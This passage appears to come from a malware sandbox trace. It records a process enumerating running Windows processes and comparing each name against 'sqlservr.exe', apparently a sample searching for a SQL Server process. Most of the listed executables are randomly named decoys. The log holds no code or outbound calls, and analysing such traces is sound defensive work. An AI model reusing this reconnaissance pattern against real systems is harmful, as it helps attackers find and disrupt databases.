hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.886] GetLastError () returned 0x0 [0081.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.887] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.887] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.887] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.887] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.887] GetLastError () returned 0x0 [0081.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.888] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.888] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.888] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.888] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.888] GetLastError () returned 0x0 [0081.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.888] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.888] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.888] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.889] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.889] GetLastError () returned 0x0 [0081.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="audiodg.exe") returned 260 [0081.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.889] CharLowerBuffW (in: lpsz="audiodg.exe", cchLength=0xc | out: lpsz="audiodg.exe") returned 0xc [0081.889] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.889] VarBstrCmp (bstrLeft="audiodg.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.889] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.890] GetLastError () returned 0x0 [0081.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.890] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.890] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.890] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.890] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.891] GetLastError () returned 0x0 [0081.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.891] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.891] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.891] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.891] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0081.892] GetLastError () returned 0x0 [0081.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="dwm.exe") returned 260 [0081.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.892] CharLowerBuffW (in: lpsz="dwm.exe", cchLength=0x8 | out: lpsz="dwm.exe") returned 0x8 [0081.892] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.892] VarBstrCmp (bstrLeft="dwm.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.892] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.893] GetLastError () returned 0x0 [0081.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="explorer.exe") returned 260 [0081.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.893] CharLowerBuffW (in: lpsz="explorer.exe", cchLength=0xd | out: lpsz="explorer.exe") returned 0xd [0081.893] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.893] VarBstrCmp (bstrLeft="explorer.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.893] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.893] GetLastError () returned 0x0 [0081.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spoolsv.exe") returned 260 [0081.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.894] CharLowerBuffW (in: lpsz="spoolsv.exe", cchLength=0xc | out: lpsz="spoolsv.exe") returned 0xc [0081.894] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.894] VarBstrCmp (bstrLeft="spoolsv.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.894] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.894] GetLastError () returned 0x0 [0081.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.895] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.895] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.895] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.895] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.895] GetLastError () returned 0x0 [0081.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskhost.exe") returned 260 [0081.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.896] CharLowerBuffW (in: lpsz="taskhost.exe", cchLength=0xd | out: lpsz="taskhost.exe") returned 0xd [0081.896] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.896] VarBstrCmp (bstrLeft="taskhost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.896] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0081.896] GetLastError () returned 0x0 [0081.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskeng.exe") returned 260 [0081.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.896] CharLowerBuffW (in: lpsz="taskeng.exe", cchLength=0xc | out: lpsz="taskeng.exe") returned 0xc [0081.896] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.897] VarBstrCmp (bstrLeft="taskeng.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.897] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ridescontains.exe")) returned 1 [0081.897] GetLastError () returned 0x0 [0081.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ridescontains.exe") returned 260 [0081.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.897] CharLowerBuffW (in: lpsz="ridescontains.exe", cchLength=0x12 | out: lpsz="ridescontains.exe") returned 0x12 [0081.897] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.897] VarBstrCmp (bstrLeft="contains.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.897] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0081.898] GetLastError () returned 0x0 [0081.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="custody.exe") returned 260 [0081.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.898] CharLowerBuffW (in: lpsz="custody.exe", cchLength=0xc | out: lpsz="custody.exe") returned 0xc [0081.898] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.898] VarBstrCmp (bstrLeft="custody.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.898] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="constraints.exe")) returned 1 [0081.899] GetLastError () returned 0x0 [0081.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="constraints.exe") returned 260 [0081.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.899] CharLowerBuffW (in: lpsz="constraints.exe", cchLength=0x10 | out: lpsz="constraints.exe") returned 0x10 [0081.899] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.899] VarBstrCmp (bstrLeft="straints.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.899] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="casting.exe")) returned 1 [0081.900] GetLastError () returned 0x0 [0081.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="casting.exe") returned 260 [0081.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.900] CharLowerBuffW (in: lpsz="casting.exe", cchLength=0xc | out: lpsz="casting.exe") returned 0xc [0081.900] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.900] VarBstrCmp (bstrLeft="casting.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.900] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="rack-pc.exe")) returned 1 [0081.901] GetLastError () returned 0x0 [0081.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="rack-pc.exe") returned 260 [0081.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.901] CharLowerBuffW (in: lpsz="rack-pc.exe", cchLength=0xc | out: lpsz="rack-pc.exe") returned 0xc [0081.901] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.901] VarBstrCmp (bstrLeft="rack-pc.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.901] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spring.exe")) returned 1 [0081.902] GetLastError () returned 0x0 [0081.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spring.exe") returned 260 [0081.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.902] CharLowerBuffW (in: lpsz="spring.exe", cchLength=0xb | out: lpsz="spring.exe") returned 0xb [0081.902] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.902] VarBstrCmp (bstrLeft="spring.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.902] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_incoming_foreign.exe")) returned 1 [0081.903] GetLastError () returned 0x0 [0081.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="fails_incoming_foreign.exe") returned 260 [0081.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.903] CharLowerBuffW (in: lpsz="fails_incoming_foreign.exe", cchLength=0x1b | out: lpsz="fails_incoming_foreign.exe") returned 0x1b [0081.903] VarBstrCmp (bstrLeft="_foreign.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.903] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ingredientsverizonpostposted.exe")) returned 1 [0081.903] GetLastError () returned 0x0 [0081.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ingredientsverizonpostposted.exe") returned 260 [0081.904] VarBstrCmp (bstrLeft="stposted.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.904] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="moreinvolves.exe")) returned 1 [0081.904] GetLastError () returned 0x0 [0081.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="moreinvolves.exe") returned 260 [0081.904] VarBstrCmp (bstrLeft="involves.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.904] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ordinary-multiple-commissions.exe")) returned 1 [0081.905] GetLastError () returned 0x0 [0081.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ordinary-multiple-commissions.exe") returned 260 [0081.905] VarBstrCmp (bstrLeft="missions.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.905] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afghanistanforestryamateur.exe")) returned 1 [0081.905] GetLastError () returned 0x0 [0081.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="afghanistanforestryamateur.exe") returned 260 [0081.905] VarBstrCmp (bstrLeft="yamateur.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.905] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="difference.exe")) returned 1 [0081.906] GetLastError () returned 0x0 [0081.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="difference.exe") returned 260 [0081.906] VarBstrCmp (bstrLeft="fference.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.906] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mandatory-places.exe")) returned 1 [0081.906] GetLastError () returned 0x0 [0081.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mandatory-places.exe") returned 260 [0081.907] VarBstrCmp (bstrLeft="y-places.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.907] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="eagles-tribute.exe")) returned 1 [0081.907] GetLastError () returned 0x0 [0081.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="eagles-tribute.exe") returned 260 [0081.907] VarBstrCmp (bstrLeft="-tribute.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.907] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="shoppingconnecticutwell.exe")) returned 1 [0081.908] GetLastError () returned 0x0 [0081.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="shoppingconnecticutwell.exe") returned 260 [0081.908] VarBstrCmp (bstrLeft="icutwell.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.908] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="earliest-ne-broken.exe")) returned 1 [0081.908] GetLastError () returned 0x0 [0081.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 